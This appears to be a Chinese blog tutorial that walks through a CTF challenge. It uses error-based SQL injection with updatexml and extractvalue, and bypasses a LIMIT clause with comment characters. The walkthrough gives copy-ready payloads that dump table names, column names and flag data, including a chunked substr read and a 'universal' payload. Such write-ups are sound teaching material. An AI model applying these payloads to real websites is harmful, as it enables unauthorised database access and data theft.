news 2026/5/29 23:21:41

【CTF SQL 注入】带 LIMIT 限制的报错注入完整教程(附万能 Payload)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【CTF SQL 注入】带 LIMIT 限制的报错注入完整教程(附万能 Payload)

一、题目分析

1. 环境与注入点确认

  • 题目地址:http://180.76.235.121:32788/?id=1
  • 后端 SQL 语句推测:

sql

SELECT * FROM users WHERE id='[输入]' LIMIT 0,1;
  • 注入类型:单引号闭合的报错注入(updatexml/extractvalue
  • 难点:末尾的LIMIT 0,1会直接截断我们的 SQL 语句,导致语法错误,需要用注释符绕过。

二、解题思路总览

这道题的核心是绕过LIMIT 0,1限制 + 使用updatexml报错注入,完整流程如下:

  1. --+%23注释掉末尾的LIMIT 0,1,修复 SQL 语法
  2. 使用updatexml函数爆数据库中的表名,找到存放 flag 的表
  3. 爆目标表的列名,找到存放 flag 的字段
  4. 读取 flag 数据,若受长度限制则用substr()分段读取

三、详细解题步骤(附可直接复制的 Payload)

步骤 1:确认注入点并绕过LIMIT限制

在参数后加单引号测试,页面报错提示near ''1'' LIMIT 0,1',说明后端语句带有LIMIT 0,1。我们需要用注释符--+绕过它:

plaintext

?id=1' --+
  • --+是 SQL 的注释符,会把后面的LIMIT 0,1注释掉,避免语法错误
  • --+被过滤,可以用 URL 编码后的%23代替

步骤 2:爆数据库中的所有表名

使用updatexml函数爆当前数据库中的表名,找到存放 flag 的目标表:

plaintext

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
  • 0x7e~的十六进制,用于包裹数据,方便定位回显内容
  • 执行后,页面报错会显示所有表名,如~users,tb1137ce31~,其中tb1137ce31就是存放 flag 的目标表。

步骤 3:爆目标表的列名

把目标表名替换进去,查询表中的列名:

plaintext

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='tb1137ce31'),0x7e),1)--+

执行后,报错信息会显示列名,如~id,username,c4ec7f8c8~,其中c4ec7f8c8就是存放 flag 的列。


步骤 4:读取 flag 数据

4.1 直接读取完整 flag

把表名和列名替换进去,直接查询 flag:

plaintext

?id=1' and updatexml(1,concat(0x7e,(select c4ec7f8c8 from tb1137ce31 limit 0,1),0x7e),1)--+
  • 执行后,报错信息中~包裹的字符串就是 flag。
  • 若 flag 过长,受updatexml32 字符限制无法完整显示,需要用substr()分段读取。
4.2 分段读取(解决长度限制)

第一段(第 1~32 位):

plaintext

?id=1' and updatexml(1,concat(0x7e,substr((select c4ec7f8c8 from tb1137ce31 limit 0,1),1,32),0x7e),1)--+

第二段(第 33 位之后):

plaintext

?id=1' and updatexml(1,concat(0x7e,substr((select c4ec7f8c8 from tb1137ce31 limit 0,1),33,32),0x7e),1)--+

把两次结果拼接起来,就是完整的 flag。


四、懒人版 Payload(大概率直接出 flag)

很多题目的表名和列名都直接叫flag,可以直接用下面这条 Payload 尝试:

plaintext

?id=1' and updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)--+

五、考点复盘与拓展

  1. 绕过LIMIT限制后端语句带LIMIT 0,1时,直接用--+%23注释掉即可,这是这类题的通用解法。

  2. updatexml报错注入原理updatexml(xml_doc, xpath_expr, new_val)函数的第二个参数需要合法的 XPath 路径,当传入非法路径时,会将参数内容回显在错误信息中,我们正是利用这一点来读取数据。

  3. updatexml长度限制解决方法updatexml单次最多只能回显 32 个字符,长字符串需要用substr()分段读取,多次查询后拼接结果即可。

  4. 备选函数如果updatexml被过滤,可以用extractvalue函数替代,Payload 结构完全相同:

    plaintext

    ?id=1' and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

这道题完整演示了带LIMIT限制的报错注入全流程,掌握后就能轻松应对大多数类似题目啦!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/29 23:20:44

Claude模型风险全景扫描:9类隐性漏洞、3级威胁评级与企业级防护SOP

更多请点击: https://codechina.net 第一章:Claude模型风险评估报告 Claude系列大语言模型在企业级部署中展现出强大能力,但其固有特性也引入多维度风险,需系统化识别与量化评估。本报告聚焦模型行为不确定性、数据隐私合规性、输…

作者头像 李华
网站建设 2026/5/29 23:19:52

家装VRay模型减面导出Unity实战:用3Dmax脚本打通工作流,效率提升200%

家装VRay模型减面导出Unity实战:3Dmax脚本自动化工作流设计在数字家装和VR展示领域,高精度模型与实时渲染性能的平衡始终是技术美术师面临的核心挑战。当设计师从3ds Max的VRay渲染环境转向Unity实时引擎时,模型面数优化直接关系到最终用户体…

作者头像 李华
网站建设 2026/5/29 23:11:56

WebPShop:解决Photoshop原生WebP支持不足的终极插件指南

WebPShop:解决Photoshop原生WebP支持不足的终极插件指南 【免费下载链接】WebPShop Photoshop plug-in for opening and saving WebP images 项目地址: https://gitcode.com/gh_mirrors/we/WebPShop 还在为Photoshop无法完美处理WebP格式而烦恼吗&#xff1f…

作者头像 李华